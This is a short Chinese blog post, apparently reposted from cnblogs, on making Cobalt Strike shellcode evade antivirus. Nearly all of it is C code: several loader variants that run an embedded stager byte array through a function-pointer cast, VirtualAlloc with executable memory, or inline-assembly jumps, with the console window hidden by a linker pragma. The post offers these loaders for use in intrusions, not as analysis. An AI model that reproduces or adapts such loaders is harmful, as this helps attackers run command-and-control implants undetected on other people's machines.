• Cobalt Strike 生成shellcode免杀 楼下的小可怜


    • 生成shellcode
    • C加载实现免杀
    #include <windows.h>
    #include <stdio.h>
    #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
    unsigned char shellcode[] =
    "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b"
    "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
    "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57";
    void main()
    {
     ((void(*)(void))&shellcode)();
    }
    
    #include <windows.h>
    #include <stdio.h>
    #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
    unsigned char shellcode[] =
    "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b"
    "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
    "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57";
    void main()
    {
         PVOID p = NULL;
                   if((p = VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE)) == NULL)
                                   MessageBox(NULL,"VirtuallAlloc Failed!!!","Prompt",MB_OK);
                   if(!(memcpy(p,shellcode,sizeof(shellcode))))
                                   MessageBox(NULL,"WriteMemory Failed!!!","Prompt",MB_OK);
                   CODE code = (CODE)p;  
                   code();  
    }
    
    #include <windows.h>
    #include <stdio.h>
    #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
    unsigned char shellcode[] =
    "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b"
    "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
    "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57";
    void main()
    {
                   __asm
                   {  
                                   lea eax,shellcode;  
                                   jmp eax;  
                   }  
    }
    
    #include <windows.h>
    #include <stdio.h>
    #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
    unsigned char shellcode[] =
    "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b"
    "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
    "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57";
    void main()
    {
       __asm  
                   {  
                                   mov eax,offset shellcode;  
                                   jmp eax;
                   }  
    }
    
    #include <windows.h>
    #include <stdio.h>
    #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
    unsigned char shellcode[] =
    "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b"
    "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
    "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57";
    void main()
    {
                    __asm
                   {
                                   mov eax,offset shellcode;
                                   _emit 0xFF;
                                   _emit 0xE0;
                   } 
    }
    
    #include <windows.h>
    #include <stdio.h>
    unsigned char shellcode[] =
    "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b"
    "\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0"
    "\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57";
    unsigned char noshellcode[] = "";
    void main()
    {
      ((void(*)(void))&noshellcode)();
    }
    
  • 相关阅读:
    微信机器人开发SDK使用教程--清粉任务
    微信机器人开发SDK使用教程--养号任务停止
    linux和 unix 介绍
    thinkphp5.1学习笔记
    nginx的相关配置记录和总结
    php优秀框架codeigniter学习系列——CI_URI类学习
    求职过程中的灵感
    设计模式学习系列——过滤器模式
    php优秀框架codeigniter学习系列——CI_Utf8类
    php优秀框架codeigniter学习系列——hooks
  • 原文地址:https://www.cnblogs.com/w0x68y/p/12217039.html
Copyright © 2020-2023  润新知